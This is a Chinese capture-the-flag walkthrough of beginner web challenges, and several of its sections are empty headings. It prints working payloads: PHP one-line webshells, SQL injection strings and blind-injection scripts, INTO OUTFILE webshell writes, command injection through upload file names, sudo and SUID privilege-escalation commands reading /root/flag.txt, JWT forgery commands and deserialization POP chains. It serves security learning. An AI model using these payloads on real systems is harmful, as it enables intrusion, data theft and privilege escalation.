青岑CTF Web入门 WP

青岑CTF Web入门 WP

整理自青岑CTF靶场

BASIC

F12 进入控制台,搜索 flag 即可。

BASIC_1

F12 、Ctrl + Shift + J 、Ctrl + Shift + I 、Ctrl + U 都被禁了,有几种方法:

  1. url 输入:edge://settings/content/javascript,进入设置,禁用该网页的 js 功能,然后 f12 。
  2. bp 抓包,然后发送到 Repeater ,发送后找 flag 。
  3. chrome 打开,工具栏中有开发者工具。

BASIC_2

F12 没找到啥东西,随便填点提交,网络里面有个包,看下负载多了一个is_admin 字段,数值还是 0 ,找到该字段的值,改成1,提交拿到 flag 。

BASIC_3

进入控制台,源码里面有一个password 参数,这是 JSFuck 代码混淆,拿到控制台执行一下,得到密码,输入提交即可。

BASIC_4

源码有个 js 文件,代码审计一下,重点的return String.fromCharCode.apply(null, a); 这句,会把 _0 转换成字符串QCCTF_VIP_2026,并且后面校验输入的是不是这个,所以只需输入这个字符串就行。

BASIC_5

直接答一千道太麻烦了,看看源代码。发现它直接把和后端的交互写出来了,我们可以构造分数直接为 1000 ,然后发给 /claim ,直接执行。

javascript
function encryptData(obj) {
    const jsonString = JSON.stringify(obj);
    return btoa(unescape(encodeURIComponent(jsonString)));
}

function decryptData(encodedString) {
    const jsonString = decodeURIComponent(escape(atob(encodedString)));
    return JSON.parse(jsonString);
}

const payload = {score:1000};

fetch('/claim',{
    method:'POST',
    headers:{
        'Content-Type':'application/json'
    },
    body:JSON.stringify({
        data:encryptData(payload)
    })
})
.then(res=>res.json())
.then(res=>{
    console.log("服务器返回:",res);

    if(res.data){
        console.log("解密结果:",decryptData(res.data));
    }
});

这里由于返回的是经过加密的,所以得加一步解密。

BASIC_6

提示要抓包,然后看响应头,找到 flag 。

BASIC_7

打开是个拼图小游戏,挺简单的直接拼好,题目说了就让看一眼,应该得抓包,bp 抓一下没 flag ,但是看到返回的有一个Location: /vault.php ,试试访问这个,但是直接跳转到了decoy.php ,并且没 flag ,试试用 bp ,在响应包找到 flag 。

BASIC_8

根据提示能想到 /index.phps ,可以看到源码,flag 的逻辑在最后,直接a=QCyYdS 就行。类似的还有config.phps、flag.phps

BASIC_9

这提示一看就是robots.txt ,然后进入qcq.php,拿到十六进制,转一下。

BASIC_10

这道题是sitemap.xml ,然后进入wqw.php ,得改成admin

BASIC_11

用 dirsearch ,但是没扫出来就离谱,还有robots.txt ,点开才发现被骗了。没办法,只能问问做出来的师傅,是在fl4g.php

  • 常用格式:python3 dirsearch.py -u <目标URL> [选项]
  • -e 指定扩展名(如 -e php,html,txt);
  • -w 指定字典文件,不指定则用默认字典;
  • -x 排除状态码(如 -x 403,404)可减少无效结果。
  • 扫描结果会列出存在的路径与状态码,便于发现隐藏文件或后台。

BASIC_12

id 那里可以爆破,从1到1000,121的时候长度不一样,有 flag 。

BASIC_13

还是爆破,密码是 admin123 。

BASIC_14

直接传/admin_secret.txt 肯定是不行的,重点是 fopen 函数,在 Linux 中,每打开一个文件,内核都会分配一个文件描述符 0 -> stdin 标准输入,fd 1 -> stdout 标准输出,2 -> stderr 标准错误,所以从3开始试,5的时候拿到 flag 。

bash
/proc/self/fd/5

EZREQUEST

简单的传参,先 GET 再 POST 就行。

EZREQUEST_1

比上一关多了一些,加上这些就行了。

http
X-Forwarded-For: 127.0.0.1
User-Agent: QingcenSafe
Via: xujinyingcangming.top
user=admin

EZPHP

php
<?php
show_source(__FILE__);
include("flag.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a and $a==0){
    if(is_numeric($b)){
        exit("nono");
    }else{
        if($b>2026){
            echo $flag;
        }
    }
}else{
    exit("no");
}
?>

简单的特性,a=0a&b=9999c

EZPHP_1

php
<?php
show_source(__FILE__);
include("flag.php");
if (!isset($_GET['qc']) || $_GET['qc'] === '') exit("no");
$qc = (array)json_decode($_GET['qc'], true);
$key = array_search("QCCTF", $qc);
if($key === 1){
    echo $flag;
}else{
    exit("no");
}
?>

重点是这两个函数。

php
json_decode() 可以对JSON字符串转换为PHP变量,默认返回对象,第二个参数为true时返回数组。本题中还有array类型强制转换,变成数组。最外侧用单引号包裹,里面的键值对用双引号包裹,才能正常解析,否则会返回null。
array_search() 是 PHP 里的数组搜索函数,作用是在数组中查找某个值,并返回它的键。第三个参数默认false,如果该参数被设置为true,则函数在数组中搜索数据类型和值都一致的元素。

所以qc=["a","QCCTF"]

EZPHP_2

php
<?php
show_source(__FILE__);
include("flag.php");
if (!isset($_GET['qc']) || $_GET['qc'] === '') exit("no");
$qc = (array)json_decode($_GET['qc'], true);
if (!isset($qc["n"]) || !is_array($qc["n"]) || empty($qc["n"])) die("no");
if (array_search("QCCTF", $qc) === false) die("no...");
if (array_search("QCyyds", $qc["n"]) === false) die("no...");
foreach ($qc["n"] as $val) {
    if ($val === "QCyyds") die("no......");
}
echo $flag;
  1. qc 存在且不为空。
  2. 键为 n 的值存在,为数组,不为空。
  3. qc 有 QCCTF 的值。
  4. 键为 n 的值有 QCyyds 的值,弱比较。
  5. 键为 n 的值没有 QCyyds 的值,严格比较。

所以qc={"n":[true,1],"a":"QCCTF"}

EZPHP_3

php
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);

highlight_file(__FILE__);
include_once('flag.php');
if(isset($_GET['qc'])&&preg_match('/^Welcome to QingCen 2026!$/i', $_GET['qc']) && $_GET['qc'] !== 'Welcome to QingCen 2026!') {
    if (intval($_GET['lover']) < 2025 && intval($_GET['lover'] + 3) > 2026) {
        if (isset($_POST['Q']) && $_POST['C']) {
            $array1 = (string)$_POST['Q'];
            $array2 = (string)$_POST['C'];
            if (sha1($array1) === sha1($array2)) {
                if (isset($_POST['ZJZ_QingCen.2026']) && $_POST['ZJZ_QingCen.2026'] === "Happy to see you!") {
                    echo $flag;
                } else {
                    echo "再绕最后一步吧";
                }
            } else {
                echo "好哩,快拿到flag啦";
            }
        } else {
            echo "这里绕不过去,QingCen可不答应了哈";
        }
    } else {
        echo "嘿嘿嘿,你别急啊";
    }
}else {
    echo "不会吧不会吧,不会第一步就卡住了吧,ZJZ会瞧不起你的!";
}
  1. qc 存在,忽略大小写是Welcome to QingCen 2026!,不等于Welcome to QingCen 2026!
  2. lover 转数字小于2025,加 3 大于2026。
  3. Q C 用 POST 传参,并且 sha1 后严格相等。
  4. ZJZ_QingCen.2026 用 POST 传参,严格等于 Happy to see you!

只有最后一步变量名要改一下,原因可以看EZPOP_8那道题,所以qc=welcome to QingCen 2026!&lover=2024,POST 传Q=a&C=a&ZJZ[QingCen.2026=Happy to see you!

EZMD5

只要让 QC 转 string 后的 md5 值等于给的值就行, QC = QNKCDZO

EZMD5_1

要求 a b 不相等,且 a b 的md5 值相等,可以用a=QNKCDZO&b=240610708

EZMD5_2

加了限制,前两位不能是 0e ,用数组绕过,a[]=1&b[]=2

EZMD5_3

上道题还能用,a[]=1&b[]=2

EZMD5_4

要求最后六位是 d54e23 ,写个脚本爆破一下。

python
import hashlib
for i in range(1,1000000000):
    print(i)
    if hashlib.md5(str(i).encode()).hexdigest()[-6:] == "d54e23":
        print("------------------------------------------",i)
        break

EZMD5_5

同样的数组绕过,a[]=1&b[]=2

EZMD5_6

同样的数组绕过,a[]=1&b[]=2

EZMD5_7

这道题不能用数组绕过了,a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

EZFL

打开文件是在 url 里面改 file 参数,试试路径穿越,file=pages/../../../../../etc/passwd 可以,读file=pages/../../../../../flag.txt

EZFL_1

EZFL_2

EZFL_3

EZFL_4

EZFL_5

EZFL_6

EZFL_7

EZFU

这个没有过滤,直接传一句话木马,拿到地址访问,然后直接a=phpinfo(); 就能看到 flag 。

php
<?php @eval($_GET['a']);?>

EZFU_1

直接不能选别的类型了,应该是前端有限制,看下源码。

html
accept="image/jpeg,image/jpg,image/png,image/gif,image/webp" required>

accept 表示前端限制允许选择的文件类型,这里有限制,后面还有 JS 检查,先把 html 的删去,然后禁用 JS 就行了。

或者用 bp ,先上传一个 jpg 的一句话木马,然后抓包改回 php 。

EZFU_2

正常传会报错,文件类型不允许,传 shell.jpg 的也报错,内容也有过滤,用 bp 抓个包,爆破一下后缀。

txt
php
php3
php4
php5
php7
php8
phtml
pht
phtm
phar

phtml 可以,拿到路径传参。

EZFU_3

传 shell.php 报错,传 shell.jpg 文件头不对。

类型开头十六进制编码
png89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
jpgFF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 01 2C
gif47 49 46 38 39 61 F1 00 2C 01 F7 00 00 64 32 33
文件扩展名Mime-Type
.jsapplication/x-javascript
.htmltext/html
.jpgimage/jpeg
.pngimage/png
.pdfapplication/pdf

在开头加上这个,用 gif 就行,但是说MIME type 有问题,在 HTTP 协议中,使用 Content-Type 字段表示文件的 MIME 类型,当我们上传文件的时候,抓到 HTTP 数据包,由于服务器在检测 Content-Type 类型的时候,取得的变量来自于用户,所以可以用 Burp 抓包,修改这个字段,使其合法,即可绕过限制上传任意文件,然后爆破后缀,拿到路径传参,这里的 php7 php8 还用不了,换一个。

EZFU_4

文件类型、文件头、MIME type 都有检查,爆破一下,

EZFU_5

EZFU_6

EZFU_7

EZFU_8

类型、内容都有检查,不能有 php 标签,大写也不行, 标签可以用 <?= 绕过,后缀爆破了一下都不行,

EZFU_9

进入 login.php ,账号有了,密码提示在 /etc ,点击查看公告,url 多了个doc=notice.txt,试试路径穿越,doc=../../../../../etc/passwd ,找到密码Oh54Ga6otE01 ,直接传一个 bz2 ,没有限制还返回了路径,传一句话木马传参就行。

EZFU_10

弱口令admin/123456 登录,题目提示 include() 解压恢复,由于 PHP 内核内置了 compress.zlib://compress.bzip2:// 包装器,打开文件时自动检测魔术字节,匹配了就套上去,所以传 gzip 和 bzip2 直接解压并且包含,我们构造<?php system('cat /flag');?> 然后压缩上传就行,注意文件名不要有 php 。

EZFU_11

传的时候没限制,路径的文件名都没改,访问发现404,直接用 bp 一直传,然后访问传参,phpinfo() 没 flag ,用 system('cat flag');

EZFU_12

这个比上一题多了一关,它把路径改了,没办法直接访问,得用个脚本把路径读出来访问。

EZFU_13

有关压缩包的,先随便传个 flag.txt 的压缩包,然后下载的时候抓个包,GET /download.php?id=ac3fcdf91a2d4a11&file=flag.txt ,能不能路径穿越呢?试了试发现不行,应该是读取时作了检查,发现不在解压目录,和压缩包文件下载有关的还有一个符号链接读取任意文件,试一下/etc/passwd ,可以读取,下面替换成 flag 就行。这里找了好久,试了一堆也不对,实在没办法了丢给 AI 才发现 flag 在源代码里说了,真是气死我了,用下面的命令就行。

bash
ln -s /C000000quer.txt flag_link
zip --symlinks exploit.zip flag_link

然后上传下载就行。

EZFU_14

传一个 jpg 图片,返回了路径和一些图片信息,接着传个 php ,发现直接不能选,应该是前端有限制,F12 看一下说有备份,index.php.bak 这个有,代码审计一下。

要求 POST 提交,并且后缀转小写必须是 jpg ,然后移动图片到 uploads 目录,_DIR_ 表示当前目录。

php
$command = 'file uploads/' . $uploadedName . ' 2>&1';
exec($command, $details, $status);
$message = $status === 0
   ? 'Photo archived. The darkroom report is ready.'
   ? 'Photo archived, but the darkroom report looks unusual.';

这个是关键,它直接把文件名拼接到命令中执行,然后把报错也输出,同时命令执行成功返回Photo archived. The darkroom report is ready. ,失败返回Photo archived, but the darkroom report looks unusual.。所以我们可以在文件名中拼接别的语句,然后在 exec 时命令执行,用a$(whoami).jpg 试试,可以执行,接着读 flag ,试试 env ,但是这里直接 a$(env).jpg 有空格会被当成 file 的参数,换成a$(env|base64).jpg 可以,但是返回的是FLAG=no_FLAG ,接着读,ls 看一下,发现还有一个文件,读一下a$(cat pigeon_cat.php).jpg 拿到 flag 。

EZSQL

2026001 可以正常回显,先判断一下什么闭合方式,可以用 BP 爆破一下。

txt
2026001 and 1=1 -- 
2026001 and 1=2 -- 
2026001' and 1=1 -- 
2026001' and 1=2 -- 
2026001" and 1=1 -- 
2026001" and 1=2 -- 
2026001) and 1=1 -- 
2026001) and 1=2 -- 
2026001') and 1=1 -- 
2026001') and 1=2 -- 
2026001") and 1=1 -- 
2026001") and 1=2 -- 
2026001)) and 1=1 -- 
2026001)) and 1=2 -- 
2026001')) and 1=1 -- 
2026001')) and 1=2 -- 
2026001")) and 1=1 -- 
2026001")) and 1=2 -- 
2026001))) and 1=1 -- 
2026001))) and 1=2 -- 
2026001'))) and 1=1 -- 
2026001'))) and 1=2 -- 
2026001"))) and 1=1 -- 
2026001"))) and 1=2 --

回显长度不一样的就是,判断出来时数字型。

判断列数,是 4 列。

sql
2026001 order by 3#
2026001 order by 4#
2026001 order by 5#

判断回显,都是回显位。

sql
-1 union select 1,2,3,4#

查库名,uesr 。

sql
-1 union select 1,2,3,group_concat(schema_name) from information_schema.schemata#

查表名,flag 和 students 。

sql
-1 union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema = 'user'#

查字段,id 和 secret 。

sql
-1 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema = 'user' and table_name = 'flag'#

读取 flag 。

sql
-1 union select 1,2,group_concat(id),group_concat(secret) from user.flag#

当然用 Sqlmap 也是可以的。

sql
python sqlmap.py -u "http://docker.qingcen.net:36906/?id=1" --batch
union 或者 时间盲注都可以

python sqlmap.py -u "http://docker.qingcen.net:36906/?id=999999" --random-agent --dbs
查库名

python sqlmap.py -u "http://docker.qingcen.net:36906/?id=999999" --random-agent -D user --tables
查表名

python sqlmap.py -u "http://docker.qingcen.net:36906/?id=999999" --random-agent -D user -T flag --columns
查字段

python sqlmap.py -u "http://docker.qingcen.net:36906/?id=999999" --random-agent -D user -T flag --dump
查 flag 

EZSQL_1

登录的,用万能密码。admin / 1' or 1 = 1#

EZSQL_2

能登录,但是没返回 flag ,得在 username 或者 password 进行注入,这里用 username 。

sql
admin' order by 4# 
admin' order by 5#
4 列

-1' union select 1,2,3,4#
2 是回显位

-1' union select 1,group_concat(schema_name),3,4 from information_schema.schemata#
information_schema    user

-1' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema ='user' #
flag

-1' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema = 'user' and table_name = 'flag'#
id,name,passwd,secret

-1' union select 1,group_concat(id,name,passwd,secret),3,4 from user.flag#

EZSQL_3

闭合方式改了,bp 看一下,是 ') 闭合,只用改一下前面的闭合方式。

sql
-1') union select 1,group_concat(id,name,passwd,secret),3,4 from user.flag#

EZSQL_4

看下闭合," 闭合。

sql
-1" union select 1,group_concat(id,name,passwd,secret),3,4 from user.flag#

EZSQL_5

") 闭合。

sql
-1") union select 1,group_concat(id,name,passwd,secret),3,4 from user.flag#

EZSQL_6

有过滤,# --

sql
-1' union select 1,group_concat(id,name,passwd,secret),3,4 from user.flag where 1=1 or '

或者可以用 /**/ 绕过。

sql
username: -1' union select 1,group_concat(id,name,passwd,secret),3,4 from user.flag where 1=1 /*
password: */ or '

EZSQL_7

过滤空格了,用以下绕过。

sql
-1'/**/union/**/select/**/1,group_concat(id,name,passwd,secret),3,4/**/from/**/user.flag#
-1'%0cunion%0cselect%0c1,group_concat(id,name,passwd,secret),3,4%0cfrom%0cuser.flag%23
-1'union(select(1),group_concat(id,name,passwd,secret),(3),(4)from(user.flag))#

EZSQL_8

过滤空格,但是注入发现把 union select from flag 过滤了,双写绕过。

sql
-1'/**/uunionnion/**/sselectelect/**/1,group_concat(id,name,passwd,secret),3,4/**/frofromm/**/user.flflagag#

EZSQL_9

数字型,直接注入。

sql
-1 union select 1,2,3,group_concat(id,flag) from user.flag#

EZSQL_10

' 闭合。

sql
-1' union select 1,2,3,group_concat(id,flag) from user.flag#

EZSQL_11

还是' 闭合,但是有过滤,测试出来是 select ,双写也过不去,试试堆叠注入。

sql
1';do sleep(3)#
1';show databases#
1';show tables#
1';show columns from flag#
1';handler flag open;handler flag read first;handler flag close#

EZSQL_12

' 闭合,有 3 列,无回显位,但是刚才查列数的时候有报错,尝试报错注入。

sql
1' and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)#       
information_schema    user
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='user'),0x7e),1)#
flag    users
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='user' and table_name='flag'),0x7e),1)#
id    flag
1' and updatexml(1,concat(0x7e,substr((select group_concat(id,flag) from user.flag),1,30),0x7e),1)#
1' and updatexml(1,concat(0x7e,substr((select group_concat(id,flag) from user.flag),31,60),0x7e),1)#

EZSQL_13

没有返回内容,只有是否执行成功,用布尔盲注。

python
import requests
import time
url = "http://docker.qingcen.net:43961/"
data= ""
for i in range(1,100):
    min = 32
    max = 128
    while (min < max) :
        mid = (min + max) // 2
        # 爆破数据库名
        #payload = "?id=1' and if(ascii(substr(database(),{},1))>{},1,0)%23".format(i, mid)
        # 爆破表名
        #payload = "?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='user'),{},1))>{},1,0)%23".format(i, mid)
        # 爆破字段
        #payload = "?id=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='user' and table_name='flag'),{},1))>{},1,0)%23".format(i, mid)
        # 爆破数据
        payload = "?id=1'and if(ascii(substr((select group_concat(id,flag) from user.flag),{},1))>{},1,0)%23".format(i, mid)
        urls = url+payload

        response = requests.get(url=urls)
        if "查询成功" in response.text:
            min = mid+1
        else:
            max = mid
        mid = (min + max) // 2
    data += chr(mid)
    print(data)

EZSQL_14

什么结果都没有,考虑时间盲注,用 sqlmap 。

python
python sqlmap.py -u "http://docker.qingcen.net:48967/?id=1" --batch

python sqlmap.py -u "http://docker.qingcen.net:48967/?id=999999" --random-agent --dbs
查库名  user  information_schema

python sqlmap.py -u "http://docker.qingcen.net:48967/?id=999999" --random-agent -D user --tables
查表名  flag  employees

python sqlmap.py -u "http://docker.qingcen.net:48967/?id=999999" --random-agent -D user -T flag --columns
查字段  id  flag

python sqlmap.py -u "http://docker.qingcen.net:48967/?id=999999" --random-agent -D user -T flag --dump
查 flag 

EZSQL_15

长度一样并且全失败了,找不到闭合方式,可能是宽字节注入。

sql
admin%df' or 1=1%23
-1%df' union select 1,2,3,4%23
-1%df' union select 1,group_concat(id,secret),3,4 from user.flag%23

EZSQL_16

用 # 报错了,是 SQLite 的。

sql
1' order by 5--+
-1' union select 1,2,3,4--+

试一下能不能拿到数据库文件。

sql
-1' union select 1,group_concat(file),3,4 from pragma_database_list--+
/var/www/html/data.db

访问下载,然后用 SQLite 直接就能看到。

或者不用这个。

sql
-1' union select 1,group_concat(name),3,4 from sqlite_master where type='table'--+
表  flag
-1' union select 1,group_concat(sql),3,4 from sqlite_master where type='table' and name='flag'--+
-1' union select 1,group_concat(name),3,4 from pragma_table_info('flag')--
字段  id name passwd secret
-1' union select 1,group_concat(id||name||passwd||secret),3,4 from flag--+

EZSQL_17

还是 SQLite ,但是没回显,布尔盲注。

sql
python sqlmap.py -u "http://docker.qingcen.net:38040/?id=1" --flush-session

python sqlmap.py -u "http://docker.qingcen.net:38040/?id=1" --tables
employees  flag 

python sqlmap.py -u "http://docker.qingcen.net:38040/?id=1" -T flag --columns
id  flag

python sqlmap.py -u "http://docker.qingcen.net:38040/?id=1" -T flag --dump

EZSQL_18

有登录有注册,想到二次注入。

sql
注册:admin' #
登录:admin' #

EZSQL_19

上一关的不行了,笔记没东西,联合查询注入。

sql
admin' order by 3#
-1' union select 1,2#

-1' union select 1,group_concat(schema_name) from information_schema.schemata #
information_schema,user

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='user'#
user_notes,users,flags

-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='user' and table_name = 'flags'#
flag

-1' union select 1,group_concat(flag) from user.flags #

EZSQL_20

' 闭合。

SQL
2026001' order by 3#

有过滤,测试出来是 , 可以用 join 绕过。
-1' union select * from (select 1)a join (select 2)b join (select 3)c#

-1' union select * from (select 1)a join (select group_concat(schema_name) from information_schema.schemata )b join (select 3)c#
information_schema,ezsql20

-1' union select * from (select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema = 'ezsql20')b join (select 3)c#
flag,notices

-1' union select * from (select 1)a join (select group_concat(column_name) from information_schema.columns where table_schema = 'ezsql20' and table_name = 'flag')b join (select 3)c#
id,secret,note

-1' union select * from (select 1)a join (select group_concat(secret) from ezsql20.flag )b join (select 3)c#

EZSQL_21

' 闭合。

sql
EXP-2026001' order by 3#
-1' union select 1,2,3#

-1' union select 1,2,group_concat(schema_name) from information_schema.schemata#
information_schema,ezsql20


-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ezsql20'#
shipments

-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ezsql20' and table_name='shipments'#
tracking_no,recipient,latest_status

-1' union select 1,2,group_concat(tracking_no,recipient,latest_status) from ezsql20.shipments#
没 flag 

联合查询应该是不行了,看源码说 flag/conquer_secret.txt ,尝试文件读取。

sql
-1' union select 1,2,load_file('/conquer_secret.txt')#

EZSQL_22

上一关的 payload 直接说检测到非法函数,有过滤,可以尝试写入别的文件,先试一下上一关的数据库结构,改了。

sql
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata#
information_schema,ezsql21

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ezsql21'#
shipments

-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ezsql21' and table_name='shipments'#
tracking_no,recipient,latest_status

-1' union select 1,2,group_concat(tracking_no,recipient,latest_status) from ezsql21.shipments#
没 flag

看下权限,为空,表示没有任何限制。

sql
-1' UNION SELECT 1,2,@@secure_file_priv#

然后写入。

sql
-1' union select '<?php @readfile("/conquer_secret.txt");?>',2,3 into outfile '/var/www/html/1.php'#

EZSQL_23

sql
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata#
information_schema,ezsql22

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ezsql22'#
shipments

-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ezsql22' and table_name='shipments'#
tracking_no,recipient,latest_status

-1' union select 1,2,group_concat(tracking_no,recipient,latest_status) from ezsql22.shipments#
没 flag

上一关的 payload 说有非法关键字,用 dumpfile 换一下,只能导出第一行数据,并不常用,通常写入第二条数据时出错,但第二条内容已被写入文件。

sql
-1' union select '<?php @readfile("/conquer_secret.txt");?>',2,3 into dumpfile '/var/www/html/1.php'#

EZPrivEsc1

蚁剑连接,进入虚拟终端,先信息收集一下。

bash
(www-data:/var/www/html) $ sudo -l
User www-data may run the following commands on a034b4ee73e9:
    (ALL) NOPASSWD: /usr/bin/find

sudo 配置错误,用 find 提权。

bash
sudo find -exec cat /root/flag.txt \;

EZPrivEsc2

根据提示的,看一下 SUID 。

bash
find / -user root -perm -4000  -type f -print 2>/dev/null

/usr/bin/mount
/usr/bin/find
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/umount
/usr/bin/passwd

还是用 find 提权。

bash
find -exec cat /root/flag.txt \;

EZPrivEsc3

还是 sudo 配置错误。

bash
(www-data:/var/www/html) $ sudo -l
User www-data may run the following commands on ff0d637c4c40:
    (root) NOPASSWD: /usr/bin/python3 /opt/scripts/backup.py

看下权限还是 755 ,没有 vim ,用别的改一下然后提权。

bash
echo 'print(open(\"/root/flag.txt\").read())' > /opt/scripts/backup.py
sudo /usr/bin/python3 /opt/scripts/backup.py

EZPrivEsc4

看下 SUID ,有 tar 。

bash
tar -cf /tmp/flag.tar /root/flag.txt
tar -xO -f /tmp/flag.tar root/flag.txt

EZPrivEsc5

题目提示 Capabilities ,先找一下。

bash
/usr/bin/python3.13 cap_dac_read_search=ep

直接提权。

bash
(www-data:/var/www/html) $ /usr/bin/python3.13 'print(open(\"/root/flag.txt\").read())'
/bin/sh: 1: /usr/bin/python3.13: Operation not permitted
(www-data:/var/www/html) $ ls -al /usr/bin/python3.13
-rwxr-xr-x 1 root root 6812336 Jul 15 20:25 /usr/bin/python3.13

这条路过不去呀,看看别的东西,在 env 中找到了 flag 。

EZPrivEsc6

代码提示通过/api/note/{id} 方式获得笔记,爆破一下,为 726 的时候拿到 flag。

EZPrivEsc7

注册一个账号,根据提示抓一下更改信息的包,只有三个字段,GET 请求一下 /api/profile 还有别的字段,加到更改的 POST 包,但是页面还是 user,尝试退出重新登录,已经是 admin ,访问 /admin 拿到 flag。

EZPrivEsc8

注册用户登录,请求/api/user 返回了7个字段,有个 token ,拿到登录页面可以直接用 token 登录,那就是去找 admin 的 token。观察返回的字段,尝试了一下 POST 发包,不行,字段里面还有 id,尝试用 ?id= 去读,爆破一下,211 的时候找到 toekn,登录访问就行。

EZPrivEsc9

注册登录,看 cookie 有四个,分别是 auth_token、role、session、uesr_id,根据提示,选择把 auth_token 删除,role 用 admin 的 base64 格式,再访问。

EZPrivEsc10

EZPrivEsc11

EZPrivEsc12

EZPrivEsc13

EZJWT

HS256 签名,试试爆破密钥,这里用的是 jwt_tool 。

bash
python jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6Imd1ZXN0In0.2s6Ssv1pE5dLPJUWfaVI2apGc2nNC3jAhydYOrwOrMw -C -d rockyou.txt

结果是 secret ,然后改成 admin ,再访问。

EZJWT_1

RS256 签名,还泄露了公钥,试试混淆攻击,可以登录,接着改成 admin ,再访问。

bash
python jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6Imd1ZXN0In0.F6b5fGPpMcQgH70-Xv_RMwWSczMvZVPxdE8KKkQ2p_VqdkqFcS5shV9BGGQGC7Nu4c3tgV0kTrhVL40VvNzt_PjJUUZ2x7zA6h_jnDjRcMugcujtOmhIXARK2rVPWiN2dYPc69W78fgop6gWfUYcmShCTIZcZKWnKQdd6N6h-lw -X k -pk pubkey.pem -I -pc username -pv admin -pc role -pv admin

EZJWT_2

这道题有 kid ,可以尝试注入,常用的有/dev/null ,这个是 linux 的黑洞文件,读出来的都是空字符串,然后空密钥签名。

bash
python jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6ImtleTEifQ.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6Imd1ZXN0In0.Z_o4MZ1tNK0QiwL9796EZFfl_qCgk5tsp2U5xyCjNMo -I -hc kid -hv "../../../../../../../dev/null" -pc role -pv admin -pc username -pv admin -S hs256 -p ""

这道题其实还有一个解,/keys/key1 直接就能拿到密钥,然后伪造。

EZJWT_3

还是 kid ,但是上一题的不行了,试试 SQL 注入,这个可以。

bash
python jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Im1haW4ta2V5In0.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6Imd1ZXN0In0.anb993R-z77NqeNWoonCWs9JF8HcF0ka2keD07ukh9c -I -hc kid -hv "' union select 'secret' -- " -pc role -pv admin -pc username -pv admin -S hs256 -p "secret"

EZPOP

php
$flag = file_get_contents("/flag");
class ShowFlag {
	public $show = false;
	public function __destruct() {
		if ($this->show) {
			echo $GLOBALS['flag'];
		}
	}
}
highlight_file(FILE);
if (isset($_GET['data'])) {
	unserialize($_GET['data']);
}
?>

$this->showtrue即可。

POC

php
<?php
class ShowFlag {
    public $show = true;
}
echo urlencode(serialize(new ShowFlag()));
?>

EZPOP_1

php
<?php
class ShowFlag {
    public $show = false;
    public $code = "";
    public function __destruct() {
        if ($this->show) {
            eval($this->code);
        }
    }
}
if (isset($_COOKIE["data"])) {
    unserialize($_COOKIE["data"]);
}
highlight_file(__FILE__);

可以令$this->showtrue,然后进入eval($this->code),这时去改变$this->code的值进行命令执行。

POC

php
<?php
class ShowFlag
{
    public $show = true;
    public $code = "system('cat /flag');";
}
echo serialize(new ShowFlag());

EZPOP_2

flag 是在 Specter::__toString() 里返回的,所以目标很明确,就是先让 Specter 里的 $latch 变成 true,再想办法触发一次 __toString()

先看入口,Fracture::__destruct() 会在对象销毁时执行 $this->delegate->disperse(),所以最外层可以放一个 Fracture 对象。接着让它的 $delegate 指向 Conduit,因为 Conduit::disperse() 会把 $this->handler 取出来赋给 $f,然后执行 $f()

这说明 $handler 需要是一个可调用对象,所以这里放 Thunk。当对象被当作函数调用时,会触发 Thunk::__invoke(),而 __invoke() 里有一行 echo $this->operand

于是只要再把 Thunk$operand 设成 Specter 对象,echo 对象时就会自动触发 Specter::__toString()。最后把 Specter$latch 改成 true,整条利用链就是 Fracture::__destruct() -> Conduit::disperse() -> Thunk::__invoke() -> Specter::__toString(),这样就能把 flag 打出来。

POC

php
<?php
class Fracture {
    public $delegate = true;
}
class Specter {
    public $latch = true;
}
class Thunk {
    public $operand;
}
class Conduit {
    public $handler;
}
$f = new Fracture();
$s = new Specter();
$c = new Conduit();
$t = new Thunk();
$t->operand = $s;
$c->handler = $t;
$f->delegate = $c;

echo urlencode(serialize($f));

?>

EZPOP_3

